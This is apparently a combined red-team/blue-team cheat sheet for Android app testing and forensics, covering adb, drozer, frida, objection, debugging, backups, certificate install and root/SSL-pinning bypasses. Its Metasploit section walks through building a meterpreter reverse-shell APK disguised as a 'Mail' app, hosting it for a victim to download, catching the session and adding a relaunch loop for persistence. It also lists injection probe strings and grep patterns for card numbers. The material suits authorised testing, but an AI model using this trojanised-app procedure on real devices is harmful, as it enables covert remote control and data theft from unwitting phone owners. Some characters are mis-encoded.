This is a combination of BTFM and RTFM (Blue Team Field Manual and Red Team Field Manual) for Android devices and applications. I used to keep two separate field manuals at first, but since there are just too many intersections, I’ve decided to combine them to make it easier to use. For iOS RTFM and BTFM see here
I use the below cheatsheet at the very beginning of forensic analysis or application testing.
Cheatsheet
INFO TO GET | Answer |
---|---|
package_name | |
path to apk |
Get package name
# option 1
frida-ps -U | grep [partial_name]
# option 2
drozer console connect
run app.package.list
# option 3
adb shell
cd /data/data/
ls | grep [partial_name]
Get path to apk
# option 1
adb shell pm path [package_name]
# option 2
drozer console connect
run app.package.info βa [package_name]
Get Application Local Files
adb shell
su
cd /data/data && tar -czvf /sdcard/packagename.tar /packagename
# Ctrl+D
adb pull /sdcard/packagename.tar .
Common Artifacts
Application Vulnerability Assessment
In the process of preparing a script to automate this process (partly, wherever possible).
Test | π ORπ | comment |
---|---|---|
GUI | π | |
Logs | ||
Local Storage Info Leak | ||
Backup Info Leak | ||
Root-detect | ||
SSL pinning | ||
APK Info leak | ||
Local Authentication | ||
Traffic Info Leak | ||
Code Obfuscation | ||
Runtime Attacks | ||
Debug | ||
RAM Leak | ||
Crypto | ||
Activities | ||
Broadcast Receivers | ||
Broadcast Senders | ||
Content Providers | ||
Custom URL Schemes | ||
Services | ||
WebViews Check | ||
Injections | ||
Firebase configuration | ||
Signatures | ||
Third-party libraries | ||
Instant Applications | ||
Logical Bugs | ||
Error Handling | ||
Get Device Info
adb shell getprop ro.build.version.release # get Android version
adb shell getprop ro.build.version.sdk # get API version
adb shell getprop # all device info
adb shell cat /system/build.prop # another way to get this info
Connecting
Over USB:
adb shell
Over WiFi:
adb shell ifconfig # get mobile device IP
adb tcpip 5555 # start adb in tcpip mode
adb connect [mobile_IP]:5555 # disconnect USB before that
adb shell # to check
adb usb # disable tcpip mode
Install apk
adb install [appname].apk
Local Storage
adb shell
su
cd /data/data && tar -czvf /sdcard/packagename.tar /packagename
# Ctrl+D
adb pull /sdcard/packagename.tar .
Backup
# create *.ab file with backup data
adb backup -f mybackup.ab # for all
adb backup -f mybackup.ab -apk # for one app
# convert *.ab to *.tar and unpack
java -jar [path_to_abe.jar]/abe.jar mybackup.tar mybackup.ab [password_optional] # win
dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" > backup.tar # linux option1
dd if=mybackup.ab bs=24 skip=1|openssl zlib -d > mybackup.tar # linux option1
Debugging
JDB
Useful to watch regarding debugging in Android applications.
Get PID list:
# get the PID of the application to be debugged
# option 1. List all debuggable apps
adb jdwp
# option 2
drozer console connect
run app.package.attacksurface <package_name>
# option 3. List all debuggable apps
drozer console connect
run app.package.debuggable
# option 4
frida-ps -U | Select-String <package_name_full_or_partial> # windows
frida-ps -U | grep <package_name_full_or_partial> # linux/mac
Forward in adb:
adb forward tcp:12345 jdwp:<PID_of_app>
Connect to process:
jdb -connect com.sun.jdi.SocketAttach:port=12345 # windows
jdb -attach localhost:12345 # linux/mac
{ echo "suspend"; cat; } | jdb -attach localhost:12345 # suspend the process on the Java level
Debugging (useful commands) for jdb
:
classes #list all loaded classes
class/methods/fields class id # Print details about a class and list its methods and fields
locals # print local variables in current stack frame
print/dump expr # print information about an object
stop in method # set a method breakpoint
clear method # remove a method breakpoint
set <var_name> = <new value> # assign new value to field/variable/array element
monitor <command> # execute command each time the program stops. Proven useful when some breakpoint is hit too often and the locals need constant tampering or viewing. Example, monitor locals.
DBG
To suspend the process on the OS level - turn on Wait for Debugger
feauture on the mobile device.
Install Android NDK on the host PC and gdb
server on the mobile device.
- Download the latest stable version of NDK.
- Extract the downloaded π¦
zip
,cd
into the NDK root directory - Run
./build/tools/make_standalone_toolchain.py --arch arm --api 24 --install-dir /tmp/android-7-toolchain
Thus, a standalone toolchain is created in /tmp/android-7-toolchain
. To add it to the env variable and make persistent:
echo ~/.zshrc >> export TOOLCHAIN=/tmp/android-7-toolchain # linux/mac
For Windows, add the path to NDK to $PATH
environment variable.
Read more about debugging native application on Android here.
Tracing
Runtime Attacks
Frida
adb shell
su
cd /sbin
# to use frida over USB
./frida
# to use frida over WiFi
./frida -l [device_ip]
Trace
frida-trace -U -i β*[function_name_full_or_partial]*β β[package_name or PID]β # over USB
frida-trace -H [mobile phone IP] -i β*[function_name_full_or_partial]*β β[package_name or PID]β # over WiFi
frida-trace βU β[package_name or PID]β -m "-[NSURL* *HTTP*]" # for functions workimg with HTTP
Objection
objection -g [package_name] explore # launch
Dump App’s RAM
Fridump
adb shell
su /sbin
./frida-server
python fridump.py --usb -r -s --max-size 1000000000 -o . [package_name]
Result in string.txt
Objection
adb shell
su /sbin
./frida-server
objection -g [package_name] explore
memory dumpall [dump_name]
strings.exe [dump_name] > strings.txt
Result in string.txt
Logs
adb logcat | grep "keyword" > logs.txt
adb logcat --pid=8423 > logs.txt # log specific process by PID
Get App List
Drozer
adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.list
Get App Info
Drozer
adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.info -a [package_name]
run app.package.manifest [package_name]
run app.package.attacksurface[package_name]
App Attacks
Launch drozer agent on mobile device then run in terminal:
adb forward tcp:31415 tcp:31415
drozer console connect
Attacks on activities:
run app.activity.info -a [package_name]
run app.activity.start --component [package_name] [activity_full_name]
Attacks on broadcast receivers:
run app.broadcast.info -a [package_name]
run app.broadcast.send --action <action from Manifest> --component <fullclassname> <classname> --extra string <varname> <value>
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
Attacks on Custom URL Schemes:
run scanner.activity.browsable -a [package_name] # to find browsable activities
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "sms://0123456789" # to launch such activity with parameters passed
Attacks on content providers:
run scanner.provider.finduris -a [package_name]
run app.provider.query content://[URI_to_the_content]
run app.provider.query content:// [package_name].[provider_name] --vertical
run scanner.provider.injection -a [package_name]
Examples of insert:
run app.provider.insert content://com.vulnerable.im/messages
--string date 1331763850325
--string type 0
--integer _id 7
run app.provider.update content://settings/secure
--selection "name=?"
--selection-args assisted_gps_enabled
--integer value 0
run app.provider.delete content://settings/secure
--selection "name=?"
--selection-args my_setting
Permissions check
adb shell dumpsys package [package_name] | grep permission
drozer agent buildΒ --permission android.permission.REQUIRED_PERMISSION
run app.package.attacksurface com.android.insecurebankv2
run app.activity.info -a [package_name]
run app.broadcast.info -a [package_name]
run scanner.provider.finduris -a [package_name]
run app.service.info -a [package_name]
WebViews
setJavaScriptEnabled(true), android.permission.READ_EXTERNAL_STORAGE UniversalAccessFromFileURLs = true
Injection
ΡΡΠ°Π³ΠΌΠ΅Π½ΡΡ - android:targetSdkVersion < 19, extends PreferenceActivity, isValidFragment.Β
<script>alert(1)</script>Β
β or 1=1 --
Signatures
apksigner verify --verbose Desktop/example.apk
jarsigner -verify -verbose -certs example.apk
Network
Burp Certificate
Proxy β Options β Proxy Listeners β Import/Export CA Certificate β Export β Certificate key in Der format (1st option). Choose path and name for the certificate.
π« Error: Openssl not installed
β Fix: on Windows download from here. Add
C:\OpenSSL-Win64\bin
to PATH environment variable. On Mac:brew install openssl
.
openssl x509 -inform DER -in cacert.der -out cacert.pem # convert from from der to pem
openssl x509 -inform PEM -subject_hash_old -in cacert.pem # get the certificateβs hash
mv cacert.pem [hash].pem # Rename cacert.pem into [hash].pem
adb push [hash].pem /sdcard # upload on Android
On Android Certificates or CA - find in settings. Install Certificates
β choose sdcard location and install it.
NBβ Lock screen should be enabled in this case.
To add the cert as a root certificates (not usually neccessary):
adb root
adb push 9a5ba575.0 /sdcard/
adb shell
su
mount -o remount,rw /system
mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/
chmod 644 /system/etc/security/cacerts/9a5ba575.0
reboot
Useful greps
grep -rP '(https?):\/\/(www\.)?[a-z0-9.:].*?(?=\s)' .> ../links.txt # links
grep -r -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" . # email
grep -r -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" . # visa cards numbers
mstercard grep -r -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" . # mastercard
Expoits
Fragment injection
sdk < 19 && device < 4.4. The code below is from Mobile Security Guide.
Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName("pt.claudio.insecurefragment","pt.claudio.insecurefragment.MainActivity");
i.putExtra(":android:show_fragment","pt.claudio.insecurefragment.MyFragment");
Intent intent = i.setData(Uri.parse("https://security.claudio.pt"));
startActivity(i); # here is supposed to be the malicious data passed
Exploiter
Here is the link to my Android application, which implements all common attacks as a “malicous” application as is described in Mobile Security Testing Guide. For example, it contains exploit for this vulnerability.
Metasploit
Create a stager and output into mail.apk
msfvenom --platform android --arch dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.72.208 LPORT=8888 -f raw -o mail.apk
Checked on Samsung DUOS
msfvenom --platform android --arch dalvik -p android/meterpreter_reverse_tcp LHOST=192.168.72.208 LPORT=4444 -f raw -o mail.apk
Change the name for the app as it is seen on the phone:
apktool d mail.apk
cd mail/res/values
nano strings.xml
Change MainActivity
to Mail
and save. Download some icon for the application, and copy it into /mipmap/res/mipmap/
folder.
cd ..
mkdir mipmap
copy icon to /res/mipmap/
AndroidManifest.xml
Open AndroidManifest.xml and add a link to that icon:
<application android:label="@string/app_name" android:icon="@mipmap/mail">
Build, create a key and sign the application with that key:
# Rebuild the application back into an apk with
apktool b <decompiled_folder_with_a_patch> -o <new_apk_name>.apk
# If you don't have a keystore to use for signing, create the keystore first with
keytool -genkey -v -keystore <keystore_name> -alias <key_name> -keyalg RSA -keysize 2048 -validity 10000.
# Sign the application with <key_name> from <keystore_name> with
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <keystore_name> <new_apk_name>.apk <key_name>
zipalign` is an archive alignment tool that provides important optimization to Android application (APK) files. The purpose is to ensure that all uncompressed data starts with a particular alignment relative to the start of the file. Specifically, it causes all uncompressed data within the APK, such as images or raw files, to be aligned on 4-byte boundaries. This allows all portions to be accessed directly with mmap() even if they contain binary data with alignment restrictions. The benefit is a reduction in the amount of RAM consumed when running the application. To do so:
sudo su -
zipalign -fv 4 mail_temp.apk /var/www/html/mail.apk
What for?
Start apache to host the malicious application for the victim to download;
service apache2 start
Start metasploit
as an attacker:
msfconsole
use exploit/multi/handler set payload android/meterpreter/reverse_tcp options set LPORT 8888 set LHOST 192.168.72.208 set exitonsession false exploit
When connected to meterpreter on the remote Android (after the victim has downloaded the malware and launched). This is for persistence, so that the user wonβt need to launch the application, itβll be launched automatically:
#!/bin/bash
while true do am start βuser 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60 done
In meterpreter upload the above bash script:
/home/android/Downloads/Lab3.4/bc.sh /sdcard shell
cd /sdcard
sh bc.sh
Should look something like this:
Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity launchParam=MultiScreenLaunchParams { mDisplayId=0 mFlags=0 } }
Introspy
Launch Tracer on mobile device:
python -m introspy -p android -o output introspy-android.db
Bypasses
Root-detect
objection -g [package_name] explore
android root disable
SSL pinning
objection -g [package_name] explore
android sslpinning disable
Patch
# 1. Decompile the application to get to the bytecode or AndroidManifest.xml
apktool d <package_name>.apk
# 2. New folder with the <package_name> name will be created. Browse the folder, patch the file you need and save.
# 3. Rebuild the application back into an apk with
apktool b <decompiled_folder_with_a_patch> -o <new_apk_name>.apk
# 4. If you don't have a keystore to use for signing, create the keystore first with
keytool -genkey -v -keystore <keystore_name> -alias <key_name> -keyalg RSA -keysize 2048 -validity 10000.
# 5. Sign the application with <key_name> from <keystore_name> with
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <keystore_name> <new_apk_name>.apk <key_name>